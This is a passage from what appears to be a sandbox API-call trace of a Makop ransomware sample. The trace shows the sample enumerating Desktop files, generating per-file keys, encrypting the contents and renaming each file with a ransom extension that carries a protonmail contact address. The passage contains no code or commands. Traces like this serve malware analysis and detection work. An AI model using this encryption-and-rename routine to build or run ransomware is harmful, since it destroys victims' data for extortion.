(in: hFile=0x120, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x657e4a8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x657e4a8*=0x80, lpOverlapped=0x0) returned 1 [0055.511] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x657e4d0 | out: lpNewFilePointer=0x0) returned 1 [0055.511] WriteFile (in: hFile=0x120, lpBuffer=0x657e4c0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x657e4a8, lpOverlapped=0x0 | out: lpBuffer=0x657e4c0*, lpNumberOfBytesWritten=0x657e4a8*=0x8, lpOverlapped=0x0) returned 1 [0055.511] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657e4ac | out: phKey=0x657e4ac*=0x48c6fe8) returned 1 [0055.511] CryptSetKeyParam (hKey=0x48c6fe8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0055.511] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0055.511] ReadFile (in: hFile=0x120, lpBuffer=0x6370020, nNumberOfBytesToRead=0x9705, lpNumberOfBytesRead=0x657e4b4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x657e4b4*=0x9705, lpOverlapped=0x0) returned 1 [0055.512] CryptEncrypt (in: hKey=0x48c6fe8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x657e490*=0x9710, dwBufLen=0x9710 | out: pbData=0x6370020*, pdwDataLen=0x657e490*=0x9710) returned 1 [0055.513] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0055.513] WriteFile (in: hFile=0x120, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x9710, lpNumberOfBytesWritten=0x657e4a8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x657e4a8*=0x9710, lpOverlapped=0x0) returned 1 [0055.513] CryptDestroyKey (hKey=0x48c6fe8) returned 1 [0055.513] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x97e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0055.513] SetEndOfFile (hFile=0x120) returned 1 [0055.570] GetProcessHeap () returned 0x48a0000 [0055.570] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0055.570] GetProcessHeap () returned 0x48a0000 [0055.570] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0055.570] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\fwFa0nbrWh1.mp3.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 100 [0055.570] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\fwFa0nbrWh1.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\fwfa0nbrwh1.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\fwFa0nbrWh1.mp3.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\fwfa0nbrwh1.mp3.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0055.575] CloseHandle (hObject=0x120) returned 1 [0055.576] FindNextFileW (in: hFindFile=0x48c06c8, lpFindFileData=0x657e520 | out: lpFindFileData=0x657e520*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfbfb18f0, ftCreationTime.dwHighDateTime=0x1d5e2db, ftLastAccessTime.dwLowDateTime=0x64aa1eb0, ftLastAccessTime.dwHighDateTime=0x1d5df61, ftLastWriteTime.dwLowDateTime=0x64aa1eb0, ftLastWriteTime.dwHighDateTime=0x1d5df61, nFileSizeHigh=0x0, nFileSizeLow=0xc36d, dwReserved0=0x0, dwReserved1=0x0, cFileName="I-yr5EEx.rtf", cAlternateFileName="")) returned 1 [0055.576] wsprintfW (in: param_1=0x657ef70, param_2="%s\\%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\I-yr5EEx.rtf") returned 50 [0055.576] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\I-yr5EEx.rtf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\i-yr5eex.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120 [0055.576] GetProcessHeap () returned 0x48a0000 [0055.576] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0055.576] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0055.576] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x657e4c8 | out: lpNewFilePointer=0x0) returned 1 [0055.576] WriteFile (in: hFile=0x120, lpBuffer=0x657e4d8*, nNumberOfBytesToWrite=0x3, lpNumberOfBytesWritten=0x657e4a8, lpOverlapped=0x0 | out: lpBuffer=0x657e4d8*, lpNumberOfBytesWritten=0x657e4a8*=0x3, lpOverlapped=0x0) returned 1 [0055.579] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657e4ac | out: phKey=0x657e4ac*=0x48c6fe8) returned 1 [0055.579] CryptSetKeyParam (hKey=0x48c6fe8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0055.579] GetProcessHeap () returned 0x48a0000 [0055.579] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0055.579] CryptEncrypt (in: hKey=0x48c6fe8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x657e490*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x657e490*=0x40) returned 1 [0055.579] CryptDestroyKey (hKey=0x48c6fe8) returned 1 [0055.579] WriteFile (in: hFile=0x120, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x657e4a8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x657e4a8*=0x40, lpOverlapped=0x0) returned 1 [0055.580] WriteFile (in: hFile=0x120, lpBuffer=0x657e4b0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x657e4a8, lpOverlapped=0x0 | out: lpBuffer=0x657e4b0*, lpNumberOfBytesWritten=0x657e4a8*=0x4, lpOverlapped=0x0) returned 1 [0055.580] WriteFile (in: hFile=0x120, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x657e4a8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x657e4a8*=0x10, lpOverlapped=0x0) returned 1 [0055.580] WriteFile (in: hFile=0x120, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x657e4a8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x657e4a8*=0x80, lpOverlapped=0x0) returned 1 [0055.581] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x657e4d0 | out: lpNewFilePointer=0x0) returned 1 [0055.581] WriteFile (in: hFile=0x120, lpBuffer=0x657e4c0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x657e4a8, lpOverlapped=0x0 | out: lpBuffer=0x657e4c0*, lpNumberOfBytesWritten=0x657e4a8*=0x8, lpOverlapped=0x0) returned 1 [0055.581] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657e4ac | out: phKey=0x657e4ac*=0x48c6fe8) returned 1 [0055.581] CryptSetKeyParam (hKey=0x48c6fe8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0055.581] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0055.581] ReadFile (in: hFile=0x120, lpBuffer=0x6370020, nNumberOfBytesToRead=0xc36d, lpNumberOfBytesRead=0x657e4b4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x657e4b4*=0xc36d, lpOverlapped=0x0) returned 1 [0055.582] CryptEncrypt (in: hKey=0x48c6fe8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x657e490*=0xc370, dwBufLen=0xc370 | out: pbData=0x6370020*, pdwDataLen=0x657e490*=0xc370) returned 1 [0055.583] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0055.583] WriteFile (in: hFile=0x120, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xc370, lpNumberOfBytesWritten=0x657e4a8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x657e4a8*=0xc370, lpOverlapped=0x0) returned 1 [0055.583] CryptDestroyKey (hKey=0x48c6fe8) returned 1 [0055.583] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0xc444, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0055.583] SetEndOfFile (hFile=0x120) returned 1 [0055.591] GetProcessHeap () returned 0x48a0000 [0055.591] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0055.591] GetProcessHeap () returned 0x48a0000 [0055.591] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0055.592] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\I-yr5EEx.rtf.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 97 [0055.592] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\I-yr5EEx.rtf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\i-yr5eex.rtf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\I-yr5EEx.rtf.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\i-yr5eex.rtf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0055.600] CloseHandle (hObject=0x120) returned 1 [0055.600] FindNextFileW (in: hFindFile=0x48c06c8, lpFindFileData=0x657e520 | out: lpFindFileData=0x657e520*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa554f910, ftCreationTime.dwHighDateTime=0x1d5e33c, ftLastAccessTime.dwLowDateTime=0x748caef0, ftLastAccessTime.dwHighDateTime=0x1d5e075, ftLastWriteTime.dwLowDateTime=0x748caef0, ftLastWriteTime.dwHighDateTime=0x1d5e075, nFileSizeHigh=0x0, nFileSizeLow=0x987, dwReserved0=0x0, dwReserved1=0x0, cFileName="i0R3CB76xq2n.pptx", cAlternateFileName="I0R3CB~1.PPT")) returned 1 [0055.601] wsprintfW (in: param_1=0x657ef70, param_2="%s\\%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\i0R3CB76xq2n.pptx") returned 55 [0055.601] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\i0R3CB76xq2n.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\i0r3cb76xq2n.pptx"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120 [0055.601] GetProcessHeap () returned 0x48a0000 [0055.601] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0055.601] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0055.601] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x657e4c8 | out: lpNewFilePointer=0x0) returned 1 [0055.601] WriteFile (in: hFile=0x120, lpBuffer=0x657e4d8*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x657e4a8, lpOverlapped=0x0 | out: lpBuffer=0x657e4d8*, lpNumberOfBytesWritten=0x657e4a8*=0x9, lpOverlapped=0x0) returned 1 [0055.604] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657e4ac | out: phKey=0x657e4ac*=0x48c6fe8) returned 1 [0055.604] CryptSetKeyParam (hKey=0x48c6fe8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0055.604] GetProcessHeap () returned 0x48a0000 [0055.604] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0055.604] CryptEncrypt (in: hKey=0x48c6fe8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x657e490*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x657e490*=0x40) returned 1 [0055.604] CryptDestroyKey (hKey=0x48c6fe8) returned 1 [0055.604] WriteFile (in: hFile=0x120, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x657e4a8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x657e4a8*=0x40, lpOverlapped=0x0) returned 1 [0055.604] WriteFile (in: hFile=0x120, lpBuffer=0x657e4b0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x657e4a8, lpOverlapped=0x0 | out: lpBuffer=0x657e4b0*, lpNumberOfBytesWritten=0x657e4a8*=0x4, lpOverlapped=0x0) returned 1 [0055.605] WriteFile (in: hFile=0x120, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x657e4a8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x657e4a8*=0x10, lpOverlapped=0x0) returned 1 [0055.605] WriteFile (in: hFile=0x120, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x657e4a8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x657e4a8*=0x80, lpOverlapped=0x0) returned 1 [0055.605] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x657e4d0 | out: lpNewFilePointer=0x0) returned 1 [0055.605] WriteFile (in: hFile=0x120, lpBuffer=0x657e4c0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x657e4a8, lpOverlapped=0x0 | out: lpBuffer=0x657e4c0*, lpNumberOfBytesWritten=0x657e4a8*=0x8, lpOverlapped=0x0) returned 1 [0055.605] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657e4ac | out: phKey=0x657e4ac*=0x48c6fe8) returned 1 [0055.605] CryptSetKeyParam (hKey=0x48c6fe8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0055.605] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0055.605] ReadFile (in: hFile=0x120, lpBuffer=0x6370020, nNumberOfBytesToRead=0x987, lpNumberOfBytesRead=0x657e4b4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x657e4b4*=0x987, lpOverlapped=0x0) returned 1 [0055.606] CryptEncrypt (in: hKey=0x48c6fe8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x657e490*=0x990, dwBufLen=0x990 | out: pbData=0x6370020*, pdwDataLen=0x657e490*=0x990) returned 1 [0055.606] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0055.606] WriteFile (in: hFile=0x120, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x990, lpNumberOfBytesWritten=0x657e4a8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x657e4a8*=0x990, lpOverlapped=0x0) returned 1 [0055.606] CryptDestroyKey (hKey=0x48c6fe8) returned 1 [0055.606] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0xa64, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0055.606] SetEndOfFile (hFile=0x120) returned 1 [0055.660] GetProcessHeap () returned 0x48a0000 [0055.660] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0055.660] GetProcessHeap () returned 0x48a0000 [0055.660] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0055.660] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\i0R3CB76xq2n.pptx.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 102 [0055.660] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\i0R3CB76xq2n.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\i0r3cb76xq2n.pptx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\i0R3CB76xq2n.pptx.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\i0r3cb76xq2n.pptx.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0055.664] CloseHandle (hObject=0x120) returned 1 [0055.665] FindNextFileW (in: hFindFile=0x48c06c8, lpFindFileData=0x657e520 | out: lpFindFileData=0x657e520*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x45e63000, ftCreationTime.dwHighDateTime=0x1d5dff6, ftLastAccessTime.dwLowDateTime=0xdefed70, ftLastAccessTime.dwHighDateTime=0x1d5e55b, ftLastWriteTime.dwLowDateTime=0xdefed70, ftLastWriteTime.dwHighDateTime=0x1d5e55b, nFileSizeHigh=0x0, nFileSizeLow=0x1625d, dwReserved0=0x0, dwReserved1=0x0, cFileName="IFfSfRDj8dUxOs.gif", cAlternateFileName="IFFSFR~1.GIF")) returned 1 [0055.665] wsprintfW (in: param_1=0x657ef70, param_2="%s\\%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\IFfSfRDj8dUxOs.gif") returned 56 [0055.665] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\IFfSfRDj8dUxOs.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\iffsfrdj8duxos.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120 [0055.665] GetProcessHeap () returned 0x48a0000 [0055.665] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0055.665] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0055.665] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x657e4c8 | out: lpNewFilePointer=0x0) returned 1 [0055.665] WriteFile (in: hFile=0x120, lpBuffer=0x657e4d8*, nNumberOfBytesToWrite=0x3, lpNumberOfBytesWritten=0x657e4a8, lpOverlapped=0x0 | out: lpBuffer=0x657e4d8*, lpNumberOfBytesWritten=0x657e4a8*=0x3, lpOverlapped=0x0) returned 1 [0055.668] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657e4ac | out: phKey=0x657e4ac*=0x48c6fe8) returned 1 [0055.668] CryptSetKeyParam (hKey=0x48c6fe8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0055.668] GetProcessHeap () returned 0x48a0000 [0055.668] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0055.668] CryptEncrypt (in: hKey=0x48c6fe8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x657e490*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x657e490*=0x40) returned 1 [0055.668] CryptDestroyKey (hKey=0x48c6fe8) returned 1 [0055.668] WriteFile (in: hFile=0x120, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x657e4a8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x657e4a8*=0x40, lpOverlapped=0x0) returned 1 [0055.668] WriteFile (in: hFile=0x120, lpBuffer=0x657e4b0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x657e4a8, lpOverlapped=0x0 | out: lpBuffer=0x657e4b0*, lpNumberOfBytesWritten=0x657e4a8*=0x4, lpOverlapped=0x0) returned 1 [0055.669] WriteFile (in: hFile=0x120, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x657e4a8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x657e4a8*=0x10, lpOverlapped=0x0) returned 1 [0055.669] WriteFile (in: hFile=0x120, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x657e4a8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x657e4a8*=0x80, lpOverlapped=0x0) returned 1 [0055.669] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x657e4d0 | out: lpNewFilePointer=0x0) returned 1 [0055.669] WriteFile (in: hFile=0x120, lpBuffer=0x657e4c0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x657e4a8, lpOverlapped=0x0 | out: lpBuffer=0x657e4c0*, lpNumberOfBytesWritten=0x657e4a8*=0x8, lpOverlapped=0x0) returned 1 [0055.669] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657e4ac | out: phKey=0x657e4ac*=0x48c6fe8) returned 1 [0055.669] CryptSetKeyParam (hKey=0x48c6fe8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0055.669] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0055.670] ReadFile (in: hFile=0x120, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1625d, lpNumberOfBytesRead=0x657e4b4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x657e4b4*=0x1625d, lpOverlapped=0x0) returned 1 [0055.671] CryptEncrypt (in: hKey=0x48c6fe8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x657e490*=0x16260, dwBufLen=0x16260 | out: pbData=0x6370020*, pdwDataLen=0x657e490*=0x16260) returned 1 [0055.672] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0055.672] WriteFile (in: hFile=0x120, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x16260, lpNumberOfBytesWritten=0x657e4a8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x657e4a8*=0x16260, lpOverlapped=0x0) returned 1 [0055.674] CryptDestroyKey (hKey=0x48c6fe8) returned 1 [0055.674] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x16334, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0055.674] SetEndOfFile (hFile=0x120) returned 1 [0055.683] GetProcessHeap () returned 0x48a0000 [0055.683] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0055.683] GetProcessHeap () returned 0x48a0000 [0055.683] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0055.683] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\IFfSfRDj8dUxOs.gif.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 103 [0055.683] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\IFfSfRDj8dUxOs.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\iffsfrdj8duxos.gif"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\IFfSfRDj8dUxOs.gif.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\iffsfrdj8duxos.gif.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0055.690] CloseHandle (hObject=0x120) returned 1 [0055.690] FindNextFileW (in: hFindFile=0x48c06c8, lpFindFileData=0x657e520 | out: lpFindFileData=0x657e520*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x58ba4f20, ftCreationTime.dwHighDateTime=0x1d5e6e2, ftLastAccessTime.dwLowDateTime=0x37d817a0, ftLastAccessTime.dwHighDateTime=0x1d5d9be, ftLastWriteTime.dwLowDateTime=0x37d817a0, ftLastWriteTime.dwHighDateTime=0x1d5d9be, nFileSizeHigh=0x0, nFileSizeLow=0x1c3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="jA4QIZB Xjb.gif", cAlternateFileName="JA4QIZ~1.GIF")) returned 1 [0055.690] wsprintfW (in: param_1=0x657ef70, param_2="%s\\%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\jA4QIZB Xjb.gif") returned 53 [0055.690] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\jA4QIZB Xjb.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ja4qizb xjb.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120 [0055.691] GetProcessHeap () returned 0x48a0000 [0055.691] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0055.691] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0055.691] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x657e4c8 | out: lpNewFilePointer=0x0) returned 1 [0055.691] WriteFile (in: hFile=0x120, lpBuffer=0x657e4d8*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x657e4a8, lpOverlapped=0x0 | out: lpBuffer=0x657e4d8*, lpNumberOfBytesWritten=0x657e4a8*=0x6, lpOverlapped=0x0) returned 1 [0055.694] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657e4ac | out: phKey=0x657e4ac*=0x48c6fe8) returned 1 [0055.694] CryptSetKeyParam (hKey=0x48c6fe8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0055.694] GetProcessHeap () returned 0x48a0000 [0055.694] 